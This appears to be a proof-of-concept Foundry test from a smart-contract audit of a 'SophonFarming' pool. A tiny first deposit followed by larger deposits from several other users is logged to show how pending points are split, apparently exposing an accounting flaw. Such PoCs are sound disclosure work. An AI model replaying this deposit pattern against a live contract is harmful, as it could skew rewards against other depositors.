poc.sol

 // paste this test in the SophonFarming.t.sol and run with: $ force test --match-test test_poc -vvv
 // Also read the comments inside the POC to better understand the flow

function test_poc() public {
        uint256 amountToDeposit = 1001 wei;
        // 1001 wei is the limit set in MockStETH.sol:submit().
        uint256 secondDeposit = 1 ether;
        uint256 thirdDeposit = 1 ether;
        uint256 fourthDeposit = 1 ether;
        uint256 fifthDeposit = 1 ether;
        uint256 sixthDeposit = 1 ether;

        address alice = address(10);
        vm.deal(alice, amountToDeposit + 1e18);
        address bob = address(20);
        vm.deal(bob, secondDeposit);
        address carol = address(30);
        vm.deal(carol, thirdDeposit);
        address dave = address(40);
        vm.deal(dave, fourthDeposit);
        address eve = address(50);
        vm.deal(eve, fifthDeposit);
        address ferdie = address(60);
        vm.deal(ferdie, sixthDeposit);

        uint256 poolId = sophonFarming.typeToId(SophonFarmingState.PredefinedPool.wstETH);

        vm.startPrank(alice);
        sophonFarming.depositEth{value: amountToDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.roll(block.number + 1);

        vm.startPrank(bob);
        sophonFarming.depositEth{value: secondDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(carol);
        sophonFarming.depositEth{value: thirdDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(dave);
        sophonFarming.depositEth{value: fourthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(eve);
        sophonFarming.depositEth{value: fifthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(ferdie);
        sophonFarming.depositEth{value: sixthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        // alice deposits again
        vm.startPrank(alice);
        sophonFarming.depositEth{value: 1e18}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.roll(block.number + 100);

        uint256 pendingPointAlice = sophonFarming.pendingPoints(poolId, alice);
        console.log(pendingPointAlice);

        uint256 pendingPointBob = sophonFarming.pendingPoints(poolId, bob);
        console.log(pendingPointBob);

        uint256 pendingPointsCarol = sophonFarming.pendingPoints(poolId, carol);
        console.log(pendingPointsCarol);

        uint256 pendingPointsDave = sophonFarming.pendingPoints(poolId, dave);
        console.log(pendingPointsDave);

        uint256 pendingPointsEve = sophonFarming.pendingPoints(poolId, eve);
        console.log(pendingPointsEve);

        uint256 pendingPointsFerdie = sophonFarming.pendingPoints(poolId, ferdie);
        console.log(pendingPointsFerdie);
    }